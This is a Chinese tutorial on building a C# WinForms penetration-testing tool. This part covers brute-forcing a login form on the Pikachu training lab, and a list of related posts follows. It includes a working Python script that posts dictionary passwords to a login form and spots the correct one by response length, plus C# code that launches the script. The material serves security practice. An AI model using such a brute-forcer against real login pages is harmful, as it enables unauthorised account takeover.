使用C#winform编写渗透测试工具--暴力破解

这篇文章主要介绍使用C#winform编写渗透测试工具--暴力破解。暴力破解是指通过利用大量猜测和穷举的方式来尝试获取用户口令的攻击方式。简单来说就是猜口令,攻击者一直枚举发送请求,因为爆破成功和失败的长度是不一样的,所以可以通过对比数据包的长度很好的判断是否爆破成功。通过python编写爆破脚本,再通过C#winform调用.py脚本进行爆破。

  • 下面就是使用C#winform编写的渗透测试工具,前面我们已经完成了端口扫描和敏感目录扫描的工作,这一部分将介绍暴力破解部分。

  • 使用pikachu靶场环境进行实验,如今通常是使用BurpSuit的Intruder模块来进行暴力破解,网上也有很多教程,这里我们通过自己编写软件进行暴力破解,靶场环境的搭建步骤可以参考https://blog.csdn.net/guo_yan_gy/article/details/103566638这篇文章,搭建后打开浏览器输入网址进入靶场。


目录

  1. 实现原理
  2. 代码实现
  3. 使用步骤

一、实现原理

暴力破解分为基于表单的暴力破解、基于验证码的暴力破解和基于Token破解,这里主要实现基于表单的暴力破解。

  • 首先需要一个密码字典,可以通过自己收集,也可以在网上下载。

  • 一般进行密码爆破时,都是知道账户的而不知道密码,但如果两个都不知道,一般先爆破账户。爆破账户的原理是根据在输入账号后反馈的消息来进行确认,这里主要进行密码爆破。
  • 使用python编写脚本调用字典进行密码爆破,根据返回的结果的长度判断爆破的结果(错误的密码返回的结果的信息是一样的,长度也是一样的,正确密码返回的结果和其他的返回结果不同,所以只需要找到返回结果长度和其他不一样的密码即可,该密码就是正确密码)。

二、代码实现

python实现密码暴力破解

  1. # conding=utf-8
  2. import requests
  3. import sys
  4. # 此处添加header
  5. header = """
  6. Host: 10.16.53.180
  7. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
  8. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  9. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  10. Accept-Encoding: gzip, deflate
  11. Content-Type: application/x-www-form-urlencoded
  12. Content-Length: 38
  13. Origin: http://10.16.53.180
  14. Connection: close
  15. Referer: http://10.16.53.180/pikachu/vul/burteforce/bf_form.php
  16. Cookie: PHPSESSID=1g0kj04uc3ahskoaubeqpgud56
  17. Upgrade-Insecure-Requests: 1
  18. """
  19. def get_headers(url, test):
  20. headers = dict(line.split(": ", 1) for line in header.split("\n") if line != '') # 通过原生请求头获取请求头字典
  21. f = open("password.txt", "r") # 打开字典
  22. pwds = f.readlines()
  23. print("响应时间:")
  24. for pwd in pwds:
  25. url = url
  26. # url = 'http://10.16.53.180/pikachu/vul/burteforce/bf_form.php'
  27. values = {
  28. 'username': test,
  29. 'password': pwd[0:-1],
  30. 'submit': 'Login',
  31. }
  32. req = requests.post(url=url, headers=headers, data=values) # 发送post请求
  33. print(pwd[0:-1]+'-->', len(req.text)) # 返回结果
  34. get_headers(sys.argv[1], sys.argv[2])

C#调用脚本

对于python脚本中包含第三方模块的情况,同样,通过直接创建Process进程,调用python脚本,返回扫描结果。

  • 创建按钮按下事件button1_Click,运行“调用python脚本”函数runPythonPassword()
  1. private void button6_Click(object sender, EventArgs e)
  2. {
  3. richTextBox3.Clear();
  4. runPythonPassword();//运行python函数
  5. label19.Text = "开始扫描...";
  6. }
  • 实例化一个python进程 调用.py 脚本
  1. void runPythonPassword()
  2. {
  3. string url ="http://10.16.53.180/pikachu/vul/burteforce/bf_form.php";
  4. //string headers = richTextBox4.Text;
  5. string username = textBox8.Text;
  6. p = new Process();
  7. string path = "trans_headers.py";//待处理python文件的路径,本例中放在debug文件夹下
  8. string sArguments = path;
  9. ArrayList arrayList = new ArrayList();
  10. arrayList.Add(url);//网站url
  11. //arrayList.Add(headers);//请求头
  12. arrayList.Add(username);//破解的用户名
  13. foreach (var param in arrayList)//拼接参数
  14. {
  15. sArguments += " " + param;
  16. }
  17. //label29.Text = sArguments;
  18. p.StartInfo.FileName = @"D:\Anaconda\python.exe"; //没有配环境变量的话,可以写"xx\xx\python.exe"的绝对路径。如果配了,直接写"python"即可
  19. p.StartInfo.Arguments = sArguments;//python命令的参数
  20. p.StartInfo.UseShellExecute = false;
  21. p.StartInfo.RedirectStandardOutput = true;
  22. p.StartInfo.RedirectStandardInput = true;
  23. p.StartInfo.RedirectStandardError = true;
  24. p.StartInfo.CreateNoWindow = true;
  25. p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
  26. p.Start();//启动进程
  27. p.BeginOutputReadLine();
  28. p.OutputDataReceived += new DataReceivedEventHandler(p_OutputDataReceived_password);
  29. Console.ReadLine();
  30. }
  • 输出接收事件函数
  1. void p_OutputDataReceived_password(object sender, DataReceivedEventArgs e)
  2. {
  3. var printedStr = e.Data;
  4. Action at = new Action(delegate ()
  5. {
  6. //接受.py进程打印的字符信息到文本显示框
  7. richTextBox3.AppendText(printedStr + "\n");
  8. label19.Text = "扫描结束";
  9. });
  10. Invoke(at);
  11. }

三、软件使用步骤

  1. 首先在密码框输入任意密码,使用BurpSuit进行抓包。我们发现提交的请求是一个POST请求,账号是admin,密码是123。

  1. 将报文头部复制到python脚本中。

  1. 输入url地址和账户名,点击开始按钮,进行爆破。

  1. 可以看到密码为“abc123”返回的结果的长度和其他的都不一样,由此可以得到账户名为“test”的密码为“abc123”。

5.在靶场中输入账户名:test,密码:abc123,显示登录成功,爆破结束。

github地址:https://github.com/Chenmengx/Penetration-testing-tool

使用C#winform编写渗透测试工具--暴力破解的更多相关文章

  1. #使用C#winform编写渗透测试工具--子域名挖掘

    使用C#winform编写渗透测试工具--子域名挖掘 这篇文章主要介绍使用C#winform编写渗透测试工具--子域名挖掘.在渗透测试中,子域名的收集十分重要,通常一个网站的主站的防御能力特别强,而他 ...

  2. 使用C#winform编写渗透测试工具--敏感目录扫描

    使用C#winform编写渗透测试工具--敏感目录扫描 由于之前在做渗透测试的时候,发现使用的工具较多,切换起来较麻烦,便萌生了开发一个包含各种渗透测试工具的小程序,包括敏感目录扫描.端口查询.子域名 ...

  3. 使用C#winform编写渗透测试工具--Web指纹识别

    使用C#winform编写渗透测试工具--web指纹识别 本篇文章主要介绍使用C#winform编写渗透测试工具--Web指纹识别.在渗透测试中,web指纹识别是信息收集关键的一步,通常是使用各种工具 ...

  4. 使用C#winform编写渗透测试工具--端口扫描

    使用C#winform编写渗透测试工具--端口扫描器 主要介绍使用C#winform编写渗透测试工具--端口扫描器,端口扫描器则是一种检测服务器或者主机虚拟端口是开启或关闭的工具.由于连接到局域网或互 ...

  5. 使用C#winform编写渗透测试工具--SQL注入

    使用C#winform编写渗透测试工具--SQL注入 本篇文章主要介绍使用C#winform编写渗透测试工具,实现SQL注入的功能.使用python编写SQL注入脚本,基于get显错注入的方式进行数据 ...

  6. github渗透测试工具库

    本文作者:Yunying 原文链接:https://www.cnblogs.com/BOHB-yunying/p/11856178.html 导航: 2.漏洞练习平台 WebGoat漏洞练习平台: h ...

  7. github渗透测试工具库[转载]

    前言 今天看到一个博客里有这个置顶的工具清单,但是发现这些都是很早以前就有文章发出来的,我爬下来后一直放在txt里吃土.这里一起放出来. 漏洞练习平台 WebGoat漏洞练习平台:https://gi ...

  8. 轻量级Web渗透测试工具jSQL

    轻量级Web渗透测试工具jSQL jSQL是Kali集成的一款轻量级的Web渗透测试工具.最初该工具主要实施SQL注入,后来增加更多的功能,扩展形成一个综合性的Web渗透测试工具.Kali提供的版本较 ...

  9. 渗透测试工具SQLmap

    一.简介 SQLmap 是一款用 Python 编写的开源渗透测试工具,用来自动检测和利用 SQL 注入漏洞. 二.Windows 下安装 2.1 安装 Python 环境 注:Python 3.0会 ...

随机推荐

  1. NOIP模拟测试15「建造城市city(插板法)·轰炸·石头剪刀布」

    建造城市 题解 先思考一个简单问题 10个$toot$ 放进5间房屋,每个房屋至少有1个$toot$,方案数 思考:插板法,$10$个$toot$有$9$个缝隙,$5$间房屋转化为$4$个挡板,放在t ...

  2. Windows内核开发-Windows内部概述-2-

    Windows内部概述-2- 线程: 执行代码的实体是线程.一个线程的包含在进程里面的,线程使用进程提供的资源来运行代码. 一个线程拥有以下的内容: 1:明确的运行模式,用户态或者内核态. 2:执行的 ...

  3. VisualCom软件仿真平台V1.0发布(附安装包下载链接)

    自我们借助VisualCom(暂定名称,后续可能会变更)软件平台撰写技术文章以来,有不少粉丝发私信询问该软件哪里来的,以及哪里有安装包,这里回复一下:VisualCom软件平台是由本微信公众号组织开发 ...

  4. unity 通过JsonUtility实现json数据的本地保存和读取

    本文主要讲解json数据在本地的保存和读取,使用的是unity5之后提供的JsonUtility工具. 一.关于json数据的保存 在实际开发中,有时候可能涉及到大量数据保存到本地,以便于下次客户端的 ...

  5. Linux系统安装-C7

    1.安装部署操作系统 (1)创建虚拟机,加载系统镜像 (2)进入系统引导界面进行配置 补充:centos7系统网卡名称 默认系统的网卡名称为 eth0 eth1 –centos6 默认系统的网卡名称为 ...

  6. SpringCloud:Feign调用接口不稳定问题以及如何设置超时

    1. Feign调用接口不稳定报错 Caused by: java.net.SocketException: Software caused connection abort: recv failed ...

  7. PHP大文件分片上传的实现方法

    一.前言 在网站开发中,经常会有上传文件的需求,有的文件size太大直接上传,经常会导致上传过程中耗时太久,大量占用带宽资源,因此有了分片上传. 分片上传主要是前端将一个较大的文件分成等分的几片,标识 ...

  8. docker起不来报错:Failed to start Docker Application Container Engine.

    报错信息如下: [root@localhost localdisk]# systemctl restart docker Job for docker.service failed because t ...

  9. 按键控制LED灯-ESP32中断处理

    #include <driver/gpio.h> #include <esp_task_wdt.h> #include <freertos/FreeRTOS.h> ...

  10. 序-WEB方向指南

    WEB 这个方向其实是目前从业人员最多的方向,也是学习安全门槛最低的方向,当然也是最容易恰饭的方向. 我从入行到现在也依旧没有脱离它,毕竟在我这个小城市.小圈子里,不干这个好像就要没饭吃了,但是你说它 ...